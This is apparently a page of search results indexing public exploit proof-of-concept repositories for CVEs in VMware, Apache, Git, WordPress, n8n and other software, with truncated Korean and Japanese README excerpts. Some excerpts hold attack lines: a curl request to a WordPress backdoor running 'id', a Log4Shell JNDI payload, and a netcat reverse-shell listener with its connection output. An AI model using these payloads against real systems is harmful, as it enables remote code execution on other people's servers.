319662 matches found
CVE-2022-22954
CVE-2022-22954 PoC VMware Workspace ONE Access 및 Identity Manager에서 SSTI를 통한 RCE. CVE-2022-22954 - PoC SSTI 사용법: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode SETMODE Available modes: shodan | file | manual -i IP, --...
CVE-2016-2098-PoC
CVE-2016-10033-PoC PentesterLab을 위해 작성했습니다. PentesterLab 사용자라면 치트하지 마세요. 직접 배우는 것이 훨씬 낫습니다. 누군가에게, 아니라면 미래의 저에게 유용하길 바랍니다 : 인터랙티브 셸과 멋진 argparse 기능도 있습니다. 사용법 usage: script.py -h --url URL --param PARAM --proxy --raw --no-color script.py: error: the following arguments are required: --url 예시 $...
POC_CVE-2025-14700
CVE-2025-14700 CVE-2025-14700 の PoC。Crafty Controller = 4.6.1 におけるサーバーサイドテンプレートインジェクション SSTI の脆弱性です。この脆弱性により、認証済みユーザーが Webhook 設定に悪意のある Jinja2 テンプレートを注入することで、リモートコード実行 RCE を達成できます。 📦 インストール Clone the repository git clone https://github.com/secdongle/POCCVE-2025-14700 cd POCCVE-2025-14700 🛠️ テスト環境...
Havoc-C2-SSRF-to-RCE
Havoc-C2-SSRF-to-RCE 이는 @chebuya의 CVE-2024-41570 SSRF PoC를 수정하고, @hyperreality의 인증 RCE 익스플로잇과 연계한 버전입니다. 이 익스플로잇은 Havoc C2 Framework의 여러 취약점을 이용하여 대상에 원격으로 코드를 실행합니다. https://github.com/user-attachments/assets/b75c5934-0326-4994-a695-c18bf95a1e25 usage: CVE-2024-41570.py -h -t TARGET -i IP -p POR...
CVE-2022-1609
CVE-2022-1609 CVE-2022-1609 WordPress Weblizar バックドア curl -s -d 'blowfish=1' -d "blowf=system'id';" 'http://localhost:8888/wp-json/am-member/license' uid=33www-data gid=33www-data groups=33www-data...
CVE-2014-8731-PoC
CVE-2014-8731-PoC - PHPMemcachedAdmin 원격 코드 실행 더 이상 Github에서 호스팅하지 않고, 제 개인 Git 호스팅 인스턴스에서 호스팅합니다. 여기에서 코드를 확인하세요: https://git.sbani.net/sbani/CVE-2014-8731-PoC...
apache_normalize_path
CVE-2021-41773|CVE-2021-42013: Apache HTTP 서버에서 악용된 경로 탐색 제로데이 10월 5일, Apache HTTP Server 프로젝트는 CVE-2021-41773을 패치했습니다. 이는 가장 널리 사용되는 웹 서버 중 하나인 Unix 및 Windows용 오픈소스 웹 서버인 Apache HTTP Server의 경로 탐색 및 파일 노출 취약점입니다. 보안 권고에 따르면, CVE-2021-41773은 제로데이로 실제 환경에서 악용되었습니다. 이 취약점은 Ash Daulton과 cPanel 보안 팀에...
CVE-2025-55182-Simple-Scanner
CVE-2025-55182: React Server Components RCE スキャナー React Server Components を使用する Next.js アプリケーションにおける重大なリモートコード実行 RCE の脆弱性 CVE-2025-55182 を検出および悪用するための包括的なツールキットです。 このリポジトリには、統合 Bash スキャナー 単一 & 大量モード、Python/Go 実装、およびバグバウンティ偵察ワークフローが含まれています。 📂 リポジトリ構成 scanner.sh — 単一ターゲットおよび大量スキャン用のオールインワン Bash スクリ...
LlamaStack-RCE-Deterministic-Supply-Chain-Exploitation-Hardening-Framework-CVE-2024-50050-
= doi.org/10.5281/zenodo.18278567 = orcid.org/0009-0007-7728-256X 💀 LlamaStack-RCE: CVE-2024-50050 공급망 공격 프레임워크 무제한 기밀 자료 - 공인된 레드팀 운영 전용 1. 요약 결정적 분석 LlamaStack-RCE는 Meta Llama Stack 의 CVE-2024-50050 , 즉 치명적인 원격 코드 실행RCE 취약점을 대상으로 하는 고정밀 시뮬레이션 및 공격 프레임워크입니다. 이 취약점은 Python 기반 추론 API 내의 안전하지 않은...
CVE-2019-17564
CVE-2019-17564: Apache Dubbo 역직렬화 취약점 0x00 소개 Apache Dubbo는 고성능, 경량급 오픈소스 Java RPC 프레임워크로, 인터페이스 지향 원격 메서드 호출, 지능형 장애 허용failover 및 로드 밸런싱, 서비스 자동 등록 및 발견이라는 세 가지 핵심 기능을 제공합니다. 0x01 취약점 개요 Apache Dubbo는 여러 프로토콜을 지원하며, 공식적으로는 Dubbo 프로토콜 사용을 권장합니다. Apache Dubbo HTTP 프로토콜의 역직렬화 취약점CVE-2019-17564은...
log4j2-issue-check
Log4Shell: RCE 0-day 이슈 평가 이 저장소는 Log4j2 취약점 CVE-2021-44228을 평가하기 위한 코드를 포함하고 있습니다. 자세한 내용 https://www.lunasec.io/docs/blog/log4j-zero-day/ 테스트 방법 쿼리 매개변수로 $jndi:ldap://127.0.0.1:3089/를 포함한 GET 요청을 보냅니다. http://localhost:10000/test?userParam=%24%7Bjndi%3Aldap%3A%2F%2F127.0.0.1%3A3089%2F%7D 위 요청을...
CVE-2024-32002
CVE-2024-32002 RCE PoC 개요 이 리포지토리는 Git 서브모듈의 원격 코드 실행RCE 취약점인 CVE-2024-32002에 대한 개념 증명PoC을 포함합니다. 이 익스플로잇은 악성 페이로드가 Git 리포지토리의 재귀적 클론을 통해 트리거되는 방법을 보여줍니다. 리포지토리 설정 PoC를 실행하기 전에 원격 Git 서버에 다음 리포지토리를 생성하거나 필요에 따라 이름을 자유롭게 변경하세요: hulk.git submod.git smash.git 이름을 변경하는 경우 PoC 스크립트의 리포지토리 경로를 그에 맞게...
CVE-2021-42362
CVE-2021-42362 WordPress Popular Posts WordPress 플러그인은 /src/Image.php 파일에서 발견된 불충분한 입력 파일 유형 검증으로 인해 임의 파일 업로드에 취약하며, 이로 인해 contributor 수준 이상의 접근 권한을 가진 공격자가 원격 코드 실행을 얻는 데 사용될 수 있는 악성 파일을 업로드할 수 있습니다,...
Blackash-CVE-2025-68613
🚨 CVE-2025-68613 — n8n의 치명적 RCE 취약점 심각도: 🔴 치명적 영향: 원격 코드 실행 영향받는 플랫폼: n8n 워크플로 자동화 🧩 개요 CVE-2025-68613 은 n8n오픈소스 워크플로 자동화 플랫폼의 심각한 보안 취약점 입니다. 이 문제는 인증된 공격자 가 워크플로 표현식이 평가되는 방식을 악용하여 서버에서 임의 코드를 실행 할 수 있게 합니다. 🎯 취약점 세부 정보 유형: 표현식 주입 → 원격 코드 실행 CWE: CWE-913 — 동적으로 관리되는 코드 리소스에 대한 부적절한 제어 공격 벡터: 네트...
unrealircd3.2.8.1-local-exploit
Metasploitable 3에서 테스트됨 사용법 Ruby 공격자 셸에서 nc -nlvp 1111 피해자 셸에서 ruby exploit.rb 127.0.0.1 공격자 셸에서 예상 출력 listening on any 1111 ... connect to 192.168.56.102 from UNKNOWN 192.168.56.105 48144 bobafett Python 피해자 셸에서 python3 exploit.py -ri 127.0.0.1 -rp 6697 -cmd -li -lp 공격자 셸에서 nc -nlvp 1111...
CVE-2022-42092
CVE-2022-42092 파이썬 익스플로잇 🔥 설명 이 파이썬 익스플로잇 스크립트는 Backdrop CMS의 제한 없는 파일 업로드를 대상으로 원격 코드 실행RCE을 달성합니다. ⚠️ 영향을 받는 버전 버전 1.22.0 및 이전 버전 참고: Backdrop CMS는 이에 대해 이의를 제기하며 고급 권한이 필요하다고 주장하므로, 1.22.0 이상의 버전에도 여전히 존재할 수 있습니다. 제 추측으로는 먼저 관리자 액세스 권한이 있어야 한다는 의미일 것입니다. 그래도 이는 유효한 취약점이며, 전체 시스템 제어를 획득하기 위해 확실히...
springcloudRCE
springcloudRCE Spring Cloud Gateway RCE - CVE-2022-22947...
CVE-2018-19422-SubrionCMS-RCE
CVE-2018-19422-SubrionCMS-RCE SubrionCMS 4.2.1 인증된 원격 코드 실행 Subrion CMS 4.2.1의 /panel/uploads는 .htaccess 파일이 이러한 파일을 포함하지 않으므로 원격 공격자가 .pht 또는 .phar 파일을 통해 임의의 PHP 코드를 실행할 수 있습니다. 익스플로잇 사용법 명령어: Windows/Linux: $ sudo python3 subrionRCE.py -u http://IP/panel/ -l -p 참고 자료:...
CVE-2024-32002
CVE-2024-32002 RCE PoC 개요 이 저장소는 Git 서브모듈의 원격 코드 실행RCE 취약점인 CVE-2024-32002에 대한 개념 증명PoC을 포함합니다. 이 익스플로잇은 악성 페이로드가 Git 저장소의 재귀적 클론을 통해 트리거될 수 있는 방법을 보여줍니다. 저장소 설정 PoC를 실행하기 전에 원격 Git 서버에 다음 저장소를 생성하거나 필요에 따라 이름을 변경하십시오: hulk.git submod.git smash.git 이름을 변경한 경우 PoC 스크립트의 저장소 경로도 그에 맞게 업데이트하십시오. 익스플...